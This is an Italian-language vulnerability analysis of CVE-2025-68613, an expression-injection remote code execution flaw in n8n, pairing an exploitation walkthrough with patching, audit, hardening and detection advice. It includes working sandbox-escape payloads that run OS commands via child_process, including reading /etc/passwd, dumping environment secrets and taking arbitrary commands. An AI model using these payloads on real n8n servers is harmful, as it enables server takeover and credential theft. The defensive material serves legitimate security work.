
CVE-2025-68613 (n8n) analisi critica di RCE + raccomandazioni difensive (validazione della patch, idee di rilevamento e consigli di hardening)
GIF Matrix
CVE-2025-68613 è una vulnerabilità critica di esecuzione di codice remoto nella piattaforma di automazione dei workflow n8n che consente a utenti autenticati di eseguire comandi di sistema arbitrari tramite iniezione di espressioni.
n8n è una piattaforma open-source di automazione dei workflow che consente l'integrazione senza codice / a basso codice con oltre 400 applicazioni. È ampiamente utilizzata in:
| 🏢 Caso d'Uso | 📝 Descrizione |
|---|
🔓 VULNERABILITY CHAIN:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 n8n Expression Language → Dynamic Data Handling │
│ ↓ │
│ ⚠️ Insufficient Sandbox Isolation in Server-Side Eval │
│ ↓ │
│ 💀 Malicious Expression Escapes Sandbox │
│ ↓ │
│ 🖥️ Access to Node.js child_process Module │
│ ↓ │
│ 💥 FULL RCE - OS Command Execution │
└─────────────────────────────────────────────────────────────────┘
Prerequisiti per lo Sfruttamento:
| # | 📋 Requisito | 📝 Dettagli |
|---|---|---|
| 1️⃣ | Autenticazione |
| 🏷️ Attributo | 📊 Valore | 🔥 Rischio |
|---|---|---|
| Complessità | BASSA (AC:L) | 🔴 Alto |
graph TD
A[🔐 Authenticated User] -->|Creates| B[📝 New Workflow]
B -->|Injects| C[💀 Malicious Expression]
C -->|Triggers| D[⚡ Expression Evaluation]
D -->|Exploits| E[🔓 Sandbox Escape]
E -->|Accesses| F[🖥️ Node.js Runtime]
F -->|Executes| G[💥 OS Command via child_process]
G -->|Achieves| H[☠️ FULL SERVER COMPROMISE]
style A fill:#4CAF50,color:#fff
style C fill:#ff9800,color:#fff
style E fill:#f44336,color:#fff
style H fill:#9c27b0,color:#fff
⚠️ DICHIARAZIONE DI NON RESPONSABILITÀ: Quanto segue è solo a scopo educativo. Lo sfruttamento non autorizzato è illegale.
Accesso iniziale alla piattaforma di automazione dei workflow n8n vulnerabile.
🔓 Dashboard di Benvenuto n8n - Punto di Ingresso
Crea un nuovo workflow che conterrà il payload malevolo.
📝 Creazione di un nuovo workflow con "Aggiungi primo passo"
Configura il trigger del workflow: il Trigger Manuale consente l'esecuzione on-demand.
🎯 Selezione del Trigger Manuale per l'attivazione del workflow
Aggiungi il nodo "Modifica Campi (Set)" che conterrà l'espressione malevola.
🔧 Aggiunta del nodo "Modifica Campi (Set)" per l'iniezione del payload
Il passo critico: iniettare l'espressione di sandbox escape per ottenere RCE.
💀 L'espressione malevola esegue con successo il comando 'id'!
// 🔴 PAYLOAD MALEVOLO (NON USARE ILLEGALMENTE)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
Output Mostra: uid=1000(node) gid=1000(node) groups=1000(node) ✅ RCE CONFERMATO!
GIF Iniezione Codice
⚠️ ATTENZIONE: Questi payload sono solo per test di sicurezza autorizzati. L'uso non autorizzato è illegale!
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString(); })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString(); })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE').toString() })() }}
💀 Lettura di /etc/passwd - Accesso completo al filesystem dimostrato!
┌─────────────────────────────────────────────────────────────────────────┐
│ 🔴 VULNERABILITY ROOT CAUSE │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ The n8n expression evaluator LACKS a sanitizer to prevent function │
│ expressions from accessing: │
│ │
│ ❌ this.process → Node.js process object │
│ ❌ mainModule.require → Module loading system │
│ ❌ child_process → OS command execution │
│ │
│ This allows direct access to system modules and arbitrary code exec! │
│ │
└─────────────────────────────────────────────────────────────────────────┘
# 🛡️ Aggiorna n8n alla versione corretta
npm install -g n8n@latest
# O con Docker
docker pull n8n/n8n:1.122.0
#!/usr/bin/env bash
# 🔍 CVE-2025-68613 n8n version audit
echo "🔍 Checking n8n version..."
if command -v n8n >/dev/null 2>&1; then
VER="$(n8n --version | tr -d 'v' | head -n1)"
if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
echo "⚠️ VULNERABLE: n8n $VER affected by CVE-2025-68613"
echo "📦 Required: Upgrade to 1.120.4, 1.121.1, or 1.122.0+"
exit 2
else
echo "✅ SAFE: n8n $VER is patched"
fi
else
echo "❌ n8n not found in PATH"
fi
# 🛡️ Hardened n8n deployment
FROM n8n/n8n:1.122.0
# 👤 Run as non-root user
USER node
# 🔒 Apply these runtime flags:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json
| 🛡️ Misura | 📝 Implementazione |
|---|---|
| 🌐 Segmentazione di Rete | Isola le istanze n8n |
| 🔥 Regole WAF |
Come progettereste una regola di rilevamento per identificare tentativi di iniezione di espressioni nelle definizioni dei workflow n8n prima dell'esecuzione, considerando la necessità di bilanciare la sicurezza con l'uso legittimo di espressioni dinamiche?
Bonus: Quali protezioni runtime implementereste per limitare il raggio d'esplosione se si verifica un sandbox escape nonostante la patch?
#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team
⚠️ DICHIARAZIONE DI NON RESPONSABILITÀ: Questa analisi è solo per scopi educativi e di difesa della sicurezza.
Lo sfruttamento non autorizzato delle vulnerabilità è ILLEGALE.
⚡ Statistiche Rapide
|
🎯 Fatti Chiave
|
| Proprietà | Valore |
|---|
| 🆔 ID CVE | CVE-2025-68613 |
| 📊 Punteggio CVSS | 9.9 (Critica) 🔴 |
| 🔗 Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 🏷️ CWE | CWE-913 (Controllo Inadeguato delle Risorse Codice Gestite Dinamicamente) |
| 📦 Versioni Affette | 0.211.0 → 1.120.3, 1.121.0 |
| ✅ Versioni Corrette | 1.120.4, 1.121.1, 1.122.0+ |
| 🔧 DevOps | Pipeline di automazione, integrazioni CI/CD |
| 🛡️ Sicurezza Operativa | Workflow SOAR, risposta agli incidenti |
| 💼 Business | Automazione dei processi, workflow dati |
| 📊 Dati | Processi ETL, integrazioni API |
| Account utente n8n valido (privilegi bassi sufficienti) |
| 2️⃣ | Permessi | Capacità di creazione/modifica workflow |
| 3️⃣ | Accesso di Rete | Possibilità di raggiungere l'istanza n8n |
| Interazione Utente |
| Nessuna Richiesta |
| 🔴 Alto |
| Ambito | Modificato | 🔴 Critico |
| 🎯 Payload | 📋 Output Previsto |
|---|
id | uid=1000(node) gid=1000(node) groups=1000(node) |
pwd | /app |
cat /etc/passwd | Elenco completo utenti di sistema (root, daemon, node, ecc.) |
env | Tutte le variabili d'ambiente inclusi i segreti |
ls -la / | Elenco del filesystem radice |
|
|
| Fase | 🔥 Azione | 💀 Impatto |
|---|
| 1️⃣ | Accesso Iniziale | Autenticazione a n8n |
| 2️⃣ | Esecuzione | Invio di workflow malevolo |
| 3️⃣ | Persistenza | Distribuzione reverse shell/backdoor |
| 4️⃣ | C2 | Stabilimento comando & controllo |
| 5️⃣ | Azioni | Esfiltrazione dati, movimento laterale |
| 🎯 Azione | 💥 Livello di Impatto |
|---|
| 🔑 Furto di Credenziali | Estrai chiavi API, token OAuth, password DB |
| 📤 Esfiltrazione Dati | Dati dei workflow, log di esecuzione, info aziendali |
| 🔒 Persistenza | Cron job, script di avvio, web shell |
| 🔀 Movimento Laterale | Pivot verso database, CI/CD, infrastruttura cloud |
| 🗑️ Manipolazione Workflow | Modifica/distrugge logica di automazione |
🔴 Riservatezza (ALTA)
|
🟠 Integrità (ALTA)
|
🟡 Disponibilità (ALTA)
|
| # | 📋 Metodo | 🔍 Cosa Monitorare |
|---|
| 📜 | Analisi Log | Comandi insoliti dal processo n8n, espressioni fallite |
| 🌐 | Rete | Connessioni in uscita verso IP sconosciuti, richieste POST di grandi dimensioni |
| ⚡ | Runtime | Invocazioni di child_process, spawn imprevisti |
| 📦 | Audit Versione | Verifica rispetto all'intervallo di versioni vulnerabili |
| 🔢 Priorità | 🛠️ Azione | 📝 Dettagli |
|---|
| 🔴 P0 | PATCH ORA | Aggiorna a 1.120.4, 1.121.1 o 1.122.0+ |
| 🟠 P1 | Limitare Accesso | Limita la creazione di workflow a utenti fidati |
| 🟡 P2 | Rafforzamento Container | Distribuisci con restrizioni di sicurezza |
| Monitora pattern di espressioni |
| 📜 Registrazione Audit | Abilita logging completo |
| 🔍 Revisioni di Sicurezza | Valutazioni regolari dei workflow |
| 🔓 Minimo Privilegio | Applica controlli di accesso |